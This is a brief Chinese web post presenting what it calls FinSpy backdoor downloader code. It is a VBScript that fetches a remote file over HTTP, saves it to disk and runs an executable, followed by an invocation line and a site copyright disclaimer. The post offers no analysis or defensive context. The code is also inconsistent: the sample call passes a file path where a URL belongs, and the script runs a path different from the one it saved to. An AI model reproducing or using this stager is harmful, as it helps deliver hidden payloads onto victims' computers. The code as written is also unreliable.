FinSpy的后门下载代码

FinSpy的后门-代码

c:\windows\apsou.vbs

Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Dim BinaryStream Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = adTypeBinary BinaryStream.Open BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite Function BinaryGetURL(URL) Dim Http Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") Http.Open "GET", URL, False Http.Send BinaryGetURL = Http.ResponseBody End Function Set shell = CreateObject("WScript.Shell") shell.Run "d:\update.exe"

调用方法

start C:\\windows\\apsou.vbs C:\\windows\\update.exe

版权声明：本文内容由网络用户投稿，版权归原作者所有，本站不拥有其著作权，亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容，请联系我们jiasou666@gmail.com 处理，核实后本网站将在24小时内删除侵权内容。